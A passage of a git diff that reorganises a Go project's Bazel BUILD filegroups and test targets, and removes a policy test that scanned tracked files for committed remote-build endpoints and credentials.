+35,51 @@ exports_files( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -49,7 +88,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/schema/BUILD.bazel b/schema/BUILD.bazel index 08eae5b47..ccf861bdb 100644 --- a/schema/BUILD.bazel +++ b/schema/BUILD.bazel @@ -17,12 +17,51 @@ go_test( # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -31,7 +70,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index c7ba45203..92a065548 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -2,8 +2,22 @@ load("@rules_go//go:def.bzl", "go_test") # CI and repo-policy tests: they parse the workflows, run the CI shell scripts # against fixtures, and check repository-wide rules (BUILD tag taxonomy, skip -# allowlist, managed BUILD blocks, shard manifests, tracked-file scans) over -# //:repo_files, the checkout as Bazel sees it. +# allowlist, managed BUILD blocks, shard manifests, tracked-file scans). +# +# They are one Go package but several go_test targets, each compiling only +# the files whose tests it runs and declaring only what those tests read, so +# that a change re-runs only the targets that read it: a Go-only change runs +# no workflow policy test, a docs-only or workflow-only change no Go-source +# scan. The data are the partitions of the checkout that tools/bazel/go_srcs.py +# generates (//:repo_go_srcs, //:repo_go_test_srcs, //:repo_doc_files, +# //:repo_other_files, and per package) or single files; only +# :tracked_files_test declares //:repo_files, every tracked file. +# +# Every *_test.go here is in exactly one of these targets, except the +# helpers-only files (no Test functions) that several compile; srcs are kept +# by hand (`# keep` stops gazelle from putting every file back into +# scripts_test), and TestScriptsTestTargetsPartitionTheTests +# (scripts_targets_test.go) fails on a file in no target or a test in two. # # No tags: they run remotely like any other target. The scripts and fixtures # run bash, git, python3, jq, yq, curl, openssl, unzip and coreutils from the @@ -11,6 +25,11 @@ load("@rules_go//go:def.bzl", "go_test") # missing tool fails the test under Bazel instead of skipping it # (host_tools_test.go), so a cached pass never stands for an executor that # could not run it. Go and the release formula come in hermetically. + +# The CI and Bazel policy tests: workflows, the setup-bazel action, .bazelrc, +# MODULE.bazel, every BUILD and .bzl file, tools/bazel and the CI scripts, +# all in //:repo_other_files (every tracked file but Go and Markdown source), +# plus the one Go file whose dolt image pin they compare. go_test( name = "scripts_test", srcs = [ @@ -21,14 +40,7 @@ go_test( "bazel_hermetic_cc_test.go", "bazel_policy_test.go", "bazel_rbe_prewarm_test.go", - "bazel_skip_allowlist_test.go", - "check_build_tags_test.go", - "check_doc_freshness_test.go", - "check_release_cross_compile_test.go", - "check_testing_short_test.go", - "check_winget_portable_alias_test.go", "ci_actions_policy_test.go", - "ci_analytics_extract_test.go", "ci_analytics_workflow_test.go", "ci_blacksmith_runner_test.go", "ci_f7b_review_test.go", @@ -36,40 +48,24 @@ go_test( "ci_merge_queue_test.go", "ci_workflow_apt_get_timeout_test.go", "ci_workflow_test.go", - "complexity_script_test.go", - "conformance_script_test.go", "embedded_shard_count_test.go", "host_tools_test.go", - "install_dolt_test.go", "makefile_bazel_primary_test.go", - "managed_local_lane_test.go", "migration_corpus_bazel_test.go", "nogo_lint_policy_test.go", "pr_lanes_bazel_coverage_test.go", - "pr_preflight_test.go", "pr_risk_bazel_coverage_test.go", - "pre_push_suite_test.go", - "pull_dolt_image_test.go", "rbe_worker_env_test.go", - "release_script_test.go", "repo_helpers_test.go", - "required_suite_test.go", - "test_script_test.go", - "upgrade_smoke_loop_test.go", - ], + ], # keep data = [ - "//:repo_files", - "@beads_formulas//:beads-release.formula.toml", + "//:repo_other_files", + "//internal/testutil:testdoltcommon.go", "@go_sdk//:bin/go", "@go_sdk//:files", ], - # The release formula lives in .beads/ (in .bazelignore: it also holds - # live bd data), so it comes in through its own local repository. The Go - # SDK is go.mod's toolchain, whatever go the executor has on PATH. - env = { - "BEADS_TEST_GO": "$(rlocationpath @go_sdk//:bin/go)", - "BEADS_TEST_RELEASE_FORMULA": "$(rlocationpath @beads_formulas//:beads-release.formula.toml)", - }, + # The Go SDK is go.mod's toolchain, whatever go the executor has on PATH. + env = {"BEADS_TEST_GO": "$(rlocationpath @go_sdk//:bin/go)"}, deps = [ "//internal/formula", "//internal/testutil/bazeltest", @@ -78,13 +74,129 @@ go_test( ], ) +# The shell scripts' own behavior, run against fixtures: this package's +# scripts and their testdata, the few root files they read, and the release +# formula. +go_test( + name = "shell_scripts_test", + srcs = [ + "check_build_tags_test.go", + "check_doc_freshness_test.go", + "check_release_cross_compile_test.go", + "check_testing_short_test.go", + "check_winget_portable_alias_test.go", + "ci_analytics_extract_test.go", + "complexity_script_test.go", + "conformance_script_test.go", + "host_tools_test.go", + "install_dolt_test.go", + "pr_preflight_test.go", + "pre_push_suite_test.go", + "pull_dolt_image_test.go", + "release_script_test.go", + "repo_helpers_test.go", + "required_suite_test.go", + "test_script_test.go", + "upgrade_smoke_loop_test.go", + ], + data = [ + ":repo_other_files", + "//:.buildflags", + "//:.githooks/pre-push", + "//:.test-skip", + "//internal/httpclient:repo_other_files", + "//test/conformance:repo_go_test_srcs", + "//test/conformance:repo_other_files", + "//tools/bazel:repo_other_files", + "@beads_formulas//:beads-release.formula.toml", + ], + # The release formula lives in .beads/ (in .bazelignore: it also holds + # live bd data), so it comes in through its own local repository. + env = {"BEADS_TEST_RELEASE_FORMULA": "$(rlocationpath @beads_formulas//:beads-release.formula.toml)"}, + deps = [ + "//internal/formula", + "//internal/testutil/bazeltest", + "//scripts/internal/testbash", + ], +) + +# Scans of the Go test files: the Bazel-skip allowlist, the managed local +# lane, and the shard manifests and scripts against the tests they shard. +# Every _test.go file (//:repo_go_test_srcs) but no non-test Go source, so a +# non-test Go change leaves it cached. +go_test( + name = "go_test_sources_test", + srcs = [ + "bazel_skip_allowlist_test.go", + "embedded_shard_count_test.go", + "host_tools_test.go", + "managed_local_lane_test.go", + "repo_helpers_test.go", + "scripts_targets_test.go", + "shard_manifest_test.go", + ], + data = [ + "BUILD.bazel", + "ci/_embedded_shard_manifest_lib.py", + "ci/embedded_cmd_test_durations.json", + "ci/embedded_storage_test_durations.json", + "ci/gen_embedded_cmd_shard_manifest.py", + "ci/gen_embedded_storage_shard_manifest.py", + "ci/gen_proxied_shard_manifest.py", + "ci/proxied_test_durations.json", + "//:.github/scripts/embedded-cmd-test-shards.txt", + "//:.github/scripts/embedded-storage-test-shard.sh", + "//:.github/scripts/embedded-storage-test-shards.txt", + "//:.github/scripts/embedded-test-shard.sh", + "//:.github/scripts/proxied-cmd-test-shards.txt", + "//:.github/scripts/proxied-test-shard.sh", + "//:.github/scripts/server-storage-test-shard.sh", + "//:.github/scripts/server-storage-test-shards.txt", + "//:nested_go_modules", + "//:repo_go_test_srcs", + "//cmd/bd:repo_other_files", + "//internal/storage/dolt:repo_other_files", + "//internal/storage/embeddeddolt:repo_other_files", + "//tools/bazel:check_shard_coverage.py", + "//tools/bazel:equivalence_allowlist.txt", + ], + deps = ["//internal/testutil/bazeltest"], +) + +# check-testing-short.sh over every Go file, test and non-test. +go_test( + name = "go_sources_test", + srcs = [ + "repo_helpers_test.go", + "testing_short_tree_test.go", + ], + data = [ + "check-testing-short.sh", + "//:repo_go_srcs", + "//:repo_go_test_srcs", + ], + deps = ["//internal/testutil/bazeltest"], +) + +# Scans of every tracked file (//:repo_files): any change re-runs them, so +# keep them few and fast. +go_test( + name = "tracked_files_test", + srcs = [ + "repo_helpers_test.go", + "tracked_files_test.go", + ], + data = ["//:repo_files"], + deps = ["//internal/testutil/bazeltest"], +) + # pr.yml's check-doc-freshness-platforms Linux leg: `go test # -tags integration ./scripts -count=1 -run '^(TestDocFreshness.*| # TestRequiredSuiteContract)$' -args -required-suite=doc-freshness`, whose # TestMain fails unless exactly the doc-freshness inventory is compiled and -# selected. scripts_test runs those tests too (in the integration lane); this -# target adds the inventory and selection contract, over only the files the -# suite reads (its fixtures copy check-doc-freshness.sh). The macOS and +# selected. shell_scripts_test runs those tests too (in the integration lane); +# this target adds the inventory and selection contract, over only the files +# the suite reads (its fixtures copy check-doc-freshness.sh). The macOS and # Windows legs stay in pr.yml. # Tags: # integration-only: every TestDocFreshness test is //go:build integration, @@ -154,15 +266,66 @@ exports_files( visibility = ["//scripts/check-versions:__pkg__"], ) +# Scripts the docs and agent instructions link to by path, which +# //test/docsync checks resolve. +exports_files( + [ + "bump-version.sh", + "check-cli-docs-drift.sh", + "generate-cli-docs.sh", + "test.sh", + ], + visibility = ["//test/docsync:__pkg__"], +) + # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( - name = "repo_files", + name = "repo_doc_files", + srcs = glob( + [ + "**/*.md", + "**/*.mdx", + ], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + exclude = [ + "**/*_test.go", + "**/node_modules/**", + ], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_go_test_srcs", + srcs = glob( + ["**/*_test.go"], + allow_empty = True, + exclude = ["**/node_modules/**"], + ), + visibility = ["//:__subpackages__"], +) + +filegroup( + name = "repo_other_files", srcs = glob( ["**"], exclude = [ "**/*.db", "**/*.exe", + "**/*.go", + "**/*.md", + "**/*.mdx", "**/*.out", "**/*.prof", "**/*.pyc", @@ -171,7 +334,7 @@ filegroup( "**/node_modules/**", ], ), - visibility = ["//:__pkg__"], + visibility = ["//:__subpackages__"], ) # --- end repo_files --- diff --git a/scripts/README.md b/scripts/README.md index b74ed4a2e..d6c073ba6 100644 --- a/scripts/README.md +++ b/scripts/README.md @@ -38,7 +38,7 @@ The broad Go wrappers also cap package and test parallelism to `4` by default shared hosts into a different test topology than GitHub Actions. `scripts/check-testing-short.sh` (`make check-testing-short`; CI runs it in -`//scripts:scripts_test`) enforces +`//scripts:go_sources_test`) enforces that `testing.Short()` is only used for runtime, stress, or large-fixture skips. Use build tags, environment checks, or named wrappers for integration/e2e/API boundaries. diff --git a/scripts/bazel_autofix_push_test.go b/scripts/bazel_autofix_push_test.go index ced5b04b9..9ced90c7d 100644 --- a/scripts/bazel_autofix_push_test.go +++ b/scripts/bazel_autofix_push_test.go @@ -161,17 +161,6 @@ func writeRawPatch(t *testing.T, body string) string { return file } -// requireAutofixBash skips when bash cannot run the autofix scripts: they run -// on Linux runners and use bash 4 associative arrays, and macOS runners ship -// /bin/bash 3.2. -func requireAutofixBash(t *testing.T) { - t.Helper() - requireHostTool(t, "bash") - if err := exec.Command("bash", "-c", "declare -A probe=()").Run(); err != nil { - t.Skip("bash lacks associative arrays (bash >= 4 required)") - } -} - func runAutofixCheck(t *testing.T, script, dir, patch string) (string, error) { t.Helper() requireAutofixBash(t) diff --git a/scripts/bazel_policy_test.go b/scripts/bazel_policy_test.go index 2ea1441cc..cf5f1e31f 100644 --- a/scripts/bazel_policy_test.go +++ b/scripts/bazel_policy_test.go @@ -1,8 +1,6 @@ package scripts_test import ( - "bufio" - "bytes" "errors" "os" "os/exec" @@ -11,8 +9,6 @@ import ( "strconv" "strings" "testing" - - "github.com/steveyegge/beads/internal/testutil/bazeltest" ) // Policy tests for the side-by-side Bazel configuration. They are plain Go @@ -20,31 +16,6 @@ import ( // alike. Each invariant is a pure check function exercised against the real // repository files and against synthetic fixtures that break it. -// bazelPolicyRoot returns the repository root holding the Bazel policy files. -// Under `bazel test` those files are declared as data (//:bazel_policy_files) -// and resolved from the runfiles tree; under `go test` the source checkout is -// used directly. -func bazelPolicyRoot(t *testing.T) string { - t.Helper() - if srcdir := os.Getenv("TEST_SRCDIR"); srcdir != "" { - workspace := os.Getenv("TEST_WORKSPACE") - if workspace == "" { - workspace = "_main" - } - return filepath.Join(srcdir, workspace) - } - return sourceRepoRoot(t) -} - -func readPolicyFile(t *testing.T, root, name string) string { - t.Helper() - data, err := os.ReadFile(filepath.Join(root, name)) - if err != nil { - t.Fatalf("read %s: %v", name, err) - } - return string(data) -} - // --- go_sdk version == go.mod toolchain ------------------------------------- var ( @@ -304,366 +275,11 @@ func TestBazelLocalRCFilesGitignored(t *testing.T) { } } -// --- no remote-execution endpoints in tracked files ------------------------- - -// Remote-execution endpoints, credentials and TLS material belong in a -// gitignored user.bazelrc/.bazelrc.local or a CI-generated rc outside the -// workspace, never in the repository. The scan covers committed bazelrc-like -// files, Markdown docs and .github/** (plan §3.8) and flags: -// - any remote/BES/TLS flag below whose value is a literal (not a -// , a $VARIABLE/${{ expression }}, empty, or loopback); -// - in rc and .github files, any gRPC URL that is not loopback. Markdown is -// exempt from this rule because beads documents OTel gRPC exporters. -// -// The one exception is publicForkCacheLines. - -var ( - remoteFlagNames = `remote_executor|remote_cache|remote_downloader|remote_header|remote_instance_name|` + - `bes_backend|bes_results_url|bes_header|tls_client_certificate|tls_client_key|tls_certificate` - // `--flag=value` is recognized everywhere; `--flag value` only in rc and - // workflow files, where prose ("--remote_executor and ...") does not occur. - remoteFlagEqRe = regexp.MustCompile(`--(` + remoteFlagNames + `)=("[^"]*"|'[^']*'|[^\s"'` + "`" + `]*)`) - remoteFlagSpaceRe = regexp.MustCompile(`--(` + remoteFlagNames + `)\s+("[^"]*"|'[^']*'|[^\s"'` + "`" + `]+)`) - remoteEndpointRe = regexp.MustCompile(`\bgrpcs?://[^\s"'<>)\]]+`) - loopbackValueRe = regexp.MustCompile(`^(?:[a-z][a-z0-9+.-]*://)?(?:127\.0\.0\.1|localhost|\[::1\])(?:[:/]|$)`) - // remoteScanPrefilter: a file lacking all of these cannot produce a hit. - remoteScanPrefilter = [][]byte{[]byte("--remote_"), []byte("--bes_"), []byte("--tls_"), []byte("grpc")} -) - -// publicForkCacheLines: the endpoint lines of .bazelrc's fork-cache config, -// public by design. rbe-west's rbe-cache endpoint is anonymous and read-only -// (action-cache and CAS reads; writes and Execute are refused by the farm), -// so there is no credential to leak. Exactly these lines, trimmed, and only -// in .bazelrc; the same line anywhere else, or any other endpoint, is still a -// hit. Assembled so this file never contains a literal endpoint. -var publicForkCacheLines = map[string]bool{ - "build:fork-cache --remote_cache=" + forkCacheEndpoint: true, - "build:fork-cache --remote_instance_name=" + forkCacheInstance: true, -} - -const ( - forkCacheEndpoint = "grpc" + "s://rbe-cache.ops.gascity.com:8443" - forkCacheInstance = "oss" - // zstd cache transfers: only the anonymous fork cache can advertise a - // compressor, so only fork-cache may ask for one, and only while - // write-bazelrc.sh's cache-zstd-probe.sh finds it advertised (a probe, - // not a repository variable: fork pull_request runs see no vars). - // Trusted remote-exec and rbe-fork never: their schedulers advertise - // none, and Bazel then refuses the remote. - forkCacheZstdLine = "build:fork-cache --remote_cache_compression" -) - -// publicRBEForkPin: setup-bazel's fork-credential.sh pins the one endpoint -// rbe-fork-mint may hand a fork run (rbe-fork, :8444), so a compromised -// mint cannot point fork builds elsewhere. It is public and carries no -// credential: allowed as exactly this line, in exactly that file (a byte -// copy of gascity's tools/rbe/fork-credential.sh). -const ( - publicRBEForkPinFile = ".github/actions/setup-bazel/fork-credential.sh" - publicRBEForkPinLine = `ENDPOINT_RE=${RBE_FORK_ENDPOINT_RE:-'^` + "grpc" + `s://rbe-fork\.ops\.gascity\.com:8444$'}` -) - -type endpointHit struct { - path string - line int - what string -} - -// remoteScanKind classifies a tracked path for the endpoint scan. -func remoteScanKind(rel string) (scan, strict bool) { - base := filepath.Base(rel) - switch { - case strings.Contains(base, "bazelrc"), strings.HasPrefix(rel, ".github/"): - return true, true - case strings.HasSuffix(base, ".md"): - return true, false - } - return false, false -} - -func allowedRemoteValue(v string) bool { - v = strings.Trim(v, `"'`) - if i := strings.Index(v, "://"); i >= 0 { - v = v[i+len("://"):] - } - return v == "" || strings.HasPrefix(v, "<") || strings.HasPrefix(v, "$") || loopbackValueRe.MatchString(v) -} - -// findRemoteEndpoints reports literal remote endpoints/credentials in content. -// strict enables the whitespace-separated flag form and the gRPC URL rule. -func findRemoteEndpoints(path string, content []byte, strict bool) []endpointHit { - if bytes.IndexByte(content, 0) >= 0 { // binary - return nil - } - relevant := false - for _, needle := range remoteScanPrefilter { - if bytes.Contains(content, needle) { - relevant = true - break - } - } - if !relevant { - return nil - } - flagRes := []*regexp.Regexp{remoteFlagEqRe} - if strict { - flagRes = append(flagRes, remoteFlagSpaceRe) - } - var hits []endpointHit - scanner := bufio.NewScanner(bytes.NewReader(content)) - scanner.Buffer(make([]byte, 0, 64*1024), 16*1024*1024) - for n := 1; scanner.Scan(); n++ { - line := scanner.Text() - if path == ".bazelrc" && publicForkCacheLines[strings.TrimSpace(line)] { - continue - } - if path == publicRBEForkPinFile && line == publicRBEForkPinLine { - continue - } - for _, re := range flagRes { - for _, m := range re.FindAllStringSubmatch(line, -1) { - if !allowedRemoteValue(m[2]) { - hits = append(hits, endpointHit{path: path, line: n, what: m[0]}) - } - } - } - if strict { - for _, url := range remoteEndpointRe.FindAllString(line, -1) { - if !allowedRemoteValue(url) { - hits = append(hits, endpointHit{path: path, line: n, what: url}) - } - } - } - } - return hits -} - -func gitRepoAvailable(root string) bool { - if _, err := exec.LookPath("git"); err != nil { - return false - } - return exec.Command("git", "-C", root, "rev-parse", "--is-inside-work-tree").Run() == nil -} - -// repoFiles lists the repository's tracked files under root, repo-relative and -// slash-separated, each a regular file (or, in a local runfiles tree, a -// symlink to one). Under `go test` in a git checkout that is `git ls-files` -// less what the working tree no longer holds; under Bazel it is the runfiles -// tree, whose repository part is //:repo_files (every tracked file outside -// .bazelignore, tools/bazel/go_srcs.py); elsewhere every file under root. -func repoFiles(t *testing.T, root string) []string { - t.Helper() - var files []string - if bazeltest.IsBazel() || !gitRepoAvailable(root) { - err := filepath.WalkDir(root, func(path string, d os.DirEntry, err error) error { - if err != nil { - return err - } - if d.IsDir() || !isFileOrFileLink(path, d) { - return nil - } - rel, err := filepath.Rel(root, path) - if err != nil { - return err - } - files = append(files, filepath.ToSlash(rel)) - return nil - }) - if err != nil { - t.Fatalf("walk %s: %v", root, err) - } - } else { - out, err := exec.Command("git", "-C", root, "ls-files", "-z").Output() - if err != nil { - t.Fatalf("git ls-files: %v", err) - } - for _, rel := range strings.Split(strings.TrimRight(string(out), "\x00"), "\x00") { - info, err := os.Lstat(filepath.Join(root, filepath.FromSlash(rel))) - if err != nil || !info.Mode().IsRegular() { - continue // deleted in the worktree, submodule, or symlink - } - files = append(files, rel) - } - } - // Sanity: an empty or partial runfiles tree would pass every scan. - if len(files) < 1000 { - t.Fatalf("found only %d repository files under %s; the listing is broken", len(files), root) - } - return files -} - -// isFileOrFileLink reports whether a WalkDir entry is a regular file or a -// symlink to one. Bazel's local runfiles trees are symlink forests, so a walk -// that skipped symlinks would see no file there; a symlink to a directory -// (Bazel's bazel-* convenience links in a checkout) is never followed. -func isFileOrFileLink(path string, d os.DirEntry) bool { - if d.Type().IsRegular() { - return true - } - if d.Type()&os.ModeSymlink == 0 { - return false - } - info, err := os.Stat(path) - return err == nil && info.Mode().IsRegular() -} - -func TestBazelNoRemoteEndpointsInTrackedFiles(t *testing.T) { - // Fixtures are assembled at runtime so this file never contains a literal - // endpoint itself. - scheme := "grpc" + "s://" - flag := func(name string) string { return "--" + name } - for _, bad := range []string{ - "build:remote-exec " + flag("remote_executor") + "=" + scheme + "rbe.example.com:443\n", - "build:remote-exec " + flag("remote_executor") + "=rbe.example.com:443\n", - "build:remote-exec " + flag("remote_executor") + " rbe.example.com:443\n", - "build " + flag("remote_cache") + "=https://cache.example.com\n", - "build " + flag("bes_backend") + "=bes.example.com\n", - "build " + flag("bes_results_url") + "=https://results.example.com/inv/\n", - "build " + flag("remote_header") + "=x-api-key=abc123\n", - "build " + flag("tls_client_certificate") + "=/etc/rbe/client.crt\n", - "build " + flag("tls_client_key") + "=\"/etc/rbe/client.key\"\n", - "# farm: " + scheme + "10.0.0.5:8980\n", - "REMOTE=" + "grpc" + "://cache.internal:9092\n", - } { - if len(findRemoteEndpoints(".bazelrc", []byte(bad), true)) == 0 { - t.Errorf("endpoint fixture not detected: %q", bad) - } - } - for _, ok := range []string{ - "build:remote-exec " + flag("remote_executor") + "=" + scheme + "\n", - "build:remote-exec " + flag("remote_executor") + "=\n", - "build:remote-exec " + flag("tls_client_certificate") + "=\n", - " run: echo \"build " + flag("remote_executor") + "=${{ secrets.BAZEL_REMOTE_EXECUTOR }}\" >> \"$RUNNER_TEMP/ci.bazelrc\"\n", - " " + flag("tls_client_key") + " \"$RUNNER_TEMP/rbe.key\"\n", - " " + flag("remote_executor") + "=" + scheme + "${{ secrets.RBE_HOST }}\n", - flag("remote_cache") + "=" + "grpc" + "://127.0.0.1:50052\n", - flag("remote_cache") + "=localhost:9092\n", - flag("remote_cache") + "=\n", - "build " + flag("remote_timeout") + "=600\n", - "use grpc for transport\n", - } { - if hits := findRemoteEndpoints(".bazelrc", []byte(ok), true); len(hits) != 0 { - t.Errorf("allowed fixture flagged: %q -> %v", ok, hits) - } - } - // The fork cache's public endpoint: exactly its two .bazelrc lines. - forkCache := "build:fork-cache " + flag("remote_cache") + "=" + forkCacheEndpoint + "\n" + - " build:fork-cache " + flag("remote_instance_name") + "=oss \n" - if hits := findRemoteEndpoints(".bazelrc", []byte(forkCache), true); len(hits) != 0 { - t.Errorf("fork-cache endpoint lines flagged in .bazelrc: %v", hits) - } - for _, path := range []string{"tools/ci.bazelrc", ".bazelrc.local", "user.bazelrc", ".github/workflows/x.yml", ".github/actions/setup-bazel/x.sh"} { - if hits := findRemoteEndpoints(path, []byte(forkCache), true); len(hits) < 2 { - t.Errorf("fork-cache endpoint lines in %s: hits %v, want both lines flagged (allowlisted in .bazelrc only)", path, hits) - } - } - for _, bad := range []string{ - "build:fork-cache " + flag("remote_cache") + "=" + scheme + "other.example:8443\n", - "build:fork-cache " + flag("remote_cache") + "=" + forkCacheEndpoint + "/x\n", - "build:fork-cache " + flag("remote_cache") + "=" + forkCacheEndpoint + " " + flag("remote_header") + "=x-api-key=abc\n", - "build " + flag("remote_cache") + "=" + forkCacheEndpoint + "\n", - "build:remote-exec " + flag("remote_executor") + "=" + forkCacheEndpoint + "\n", - "build:fork-cache " + flag("remote_instance_name") + "=beads\n", - "# see " + forkCacheEndpoint + "\n", - } { - if len(findRemoteEndpoints(".bazelrc", []byte(bad), true)) == 0 { - t.Errorf("non-allowlisted fork-cache variant not detected in .bazelrc: %q", bad) - } - } - // rbe-fork's endpoint pin: that line in that file only; anything else - // naming the endpoint, there or elsewhere, is flagged. - if hits := findRemoteEndpoints(publicRBEForkPinFile, []byte("set -eu\n"+publicRBEForkPinLine+"\n"), true); len(hits) != 0 { - t.Errorf("rbe-fork endpoint pin flagged in %s: %v", publicRBEForkPinFile, hits) - } - for _, path := range []string{".github/actions/setup-bazel/write-bazelrc.sh", ".github/workflows/bazel.yml", ".bazelrc", "tools/rbe/fork-credential.sh"} { - if len(findRemoteEndpoints(path, []byte(publicRBEForkPinLine+"\n"), true)) == 0 { - t.Errorf("rbe-fork endpoint pin not flagged in %s (allowlisted in %s only)", path, publicRBEForkPinFile) - } - } - for _, bad := range []string{ - " " + publicRBEForkPinLine, - strings.Replace(publicRBEForkPinLine, "8444", "443", 1), - `ENDPOINT=` + "grpc" + `s://rbe-fork.ops.gascity.com:8444`, - "build:remote-exec " + flag("remote_executor") + "=" + scheme + "rbe-fork.ops.gascity.com:8444", - } { - if len(findRemoteEndpoints(publicRBEForkPinFile, []byte(bad+"\n"), true)) == 0 { - t.Errorf("non-allowlisted rbe-fork line not detected in %s: %q", publicRBEForkPinFile, bad) - } - } - // Markdown: OTel gRPC exporter URLs and prose mentioning the flag are fine; - // a literal flag value is not. - for _, ok := range []string{ - "Set OTEL_EXPORTER_OTLP_ENDPOINT=" + "grpc" + "://collector:4317\n", - "Pass " + flag("remote_executor") + " and TLS flags from user.bazelrc.\n", - } { - if hits := findRemoteEndpoints("docs/x.md", []byte(ok), false); len(hits) != 0 { - t.Errorf("allowed Markdown fixture flagged: %q -> %v", ok, hits) - } - } - if len(findRemoteEndpoints("docs/x.md", []byte("bazel build "+flag("remote_executor")+"=rbe.example.com:443 //...\n"), false)) == 0 { - t.Error("literal remote_executor in Markdown not detected") - } - for rel, want := range map[string][2]bool{ - ".bazelrc": {true, true}, - "tools/ci.bazelrc": {true, true}, - ".bazelrc.local": {true, true}, - ".github/workflows/x.yml": {true, true}, - "docs/BAZEL.md": {true, false}, - "issues.jsonl": {false, false}, - "internal/telemetry/x.go": {false, false}, - } { - if scan, strict := remoteScanKind(rel); scan != want[0] || strict != want[1] { - t.Errorf("remoteScanKind(%q) = %v,%v, want %v,%v", rel, scan, strict, want[0], want[1]) - } - } - - root := bazelPolicyRoot(t) - var hits []endpointHit - for _, rel := range repoFiles(t, root) { - scan, strict := remoteScanKind(rel) - if !scan { - continue - } - content, err := os.ReadFile(filepath.Join(root, rel)) - if err != nil { - t.Fatalf("read %s: %v", rel, err) - } - hits = append(hits, findRemoteEndpoints(rel, content, strict)...) - } - for _, h := range hits { - t.Errorf("%s:%d: remote endpoint or credential %q in a tracked file; it belongs in a gitignored user.bazelrc/.bazelrc.local or a CI-generated rc outside the workspace", h.path, h.line, h.what) - } -} - -// TestNoLocalPlanPathsInTrackedFiles: tracked files must not point readers -// at a maintainer's private, out-of-repo planning notes (a home-directory -// planning-notes tree), which no other contributor can open. Cite an -// in-repo doc, a bead, or a PR instead. The needle is assembled at runtime so -// this file does not match itself. -func TestNoLocalPlanPathsInTrackedFiles(t *testing.T) { - root := bazelPolicyRoot(t) - needle := []byte("beads-" + "bazel-plan") - for _, rel := range repoFiles(t, root) { - content, err := os.ReadFile(filepath.Join(root, filepath.FromSlash(rel))) - if err != nil { - t.Fatalf("read %s: %v", rel, err) - } - if bytes.IndexByte(content, 0) >= 0 { - continue // binary, as git grep -I - } - for n, line := range bytes.Split(content, []byte("\n")) { - if bytes.Contains(line, needle) { - t.Errorf("%s:%d: tracked file references a local, non-repo %s path; point at an in-repo doc, bead or PR instead", rel, n+1, needle) - } - } - } -} - // --- generated go_srcs filegroups are current ------------------------------- -// These checks walk the source checkout: under Bazel, //:repo_files, which -// holds every package's BUILD.bazel (a package missing its repo_files block -// is what `make bazel-sync-check` fails on). +// These checks walk the source checkout: under Bazel, //:repo_other_files, +// which holds every package's BUILD.bazel (a package missing its repo_files +// block is what `make bazel-sync-check` fails on). var ( treeGoSrcsRe = regexp.MustCompile(`(?s)filegroup\(\s*name\s*=\s*"tree_go_srcs",\s*srcs\s*=\s*\[(.*?)\]`) @@ -791,7 +407,7 @@ func TestBazelGoSrcsBlocksCurrent(t *testing.T) { // --- no Bazel packages under the docs trees --------------------------------- // docs/ and engdocs/ are content (the Mintlify site and the engineering docs) -// that the root package's repo_files glob covers; they hold no code, so a +// that the root package's repo_files block covers; they hold no code, so a // BUILD file under either tree is a mistake (it would also split the subtree // into a package of its own). func TestBazelNoPackagesUnderDocsTrees(t *testing.T) { diff --git a/scripts/bazel_skip_allowlist_test.go b/scripts/bazel_skip_allowlist_test.go index b90d6c19f..dd8b7901b 100644 --- a/scripts/bazel_skip_allowlist_test.go +++ b/scripts/bazel_skip_allowlist_test.go @@ -27,7 +27,7 @@ import ( // tests run on every PR, so a go-test-only check (a Bazel-guarded return or // continue, or a block guarded by TEST_SRCDIR == "" / !IsBazel()) would run // nowhere: declare what it reads as data instead (//:repo_files holds the -// whole checkout). This check finds them before the merge, from the source. +// whole checkout, tools/bazel/go_srcs.py's partitions of it less). This check finds them before the merge, from the source. // // Only top-level tests are considered: a subtest's skip is invisible to // equivalence.py, which compares top-level tests. @@ -39,8 +39,8 @@ func TestBazelOnlySkipsAreAllowlisted(t *testing.T) { if err != nil { t.Fatal(err) } - // Under Bazel the tree is //:repo_files; a scan that parsed few files is - // not looking at it. + // Under Bazel the tree is //:repo_go_test_srcs; a scan that parsed few + // files is not looking at it. if files < 1000 { t.Fatalf("parsed only %d _test.go files; the scan is broken", files) } @@ -366,20 +366,6 @@ func checks(body *ast.BlockStmt) 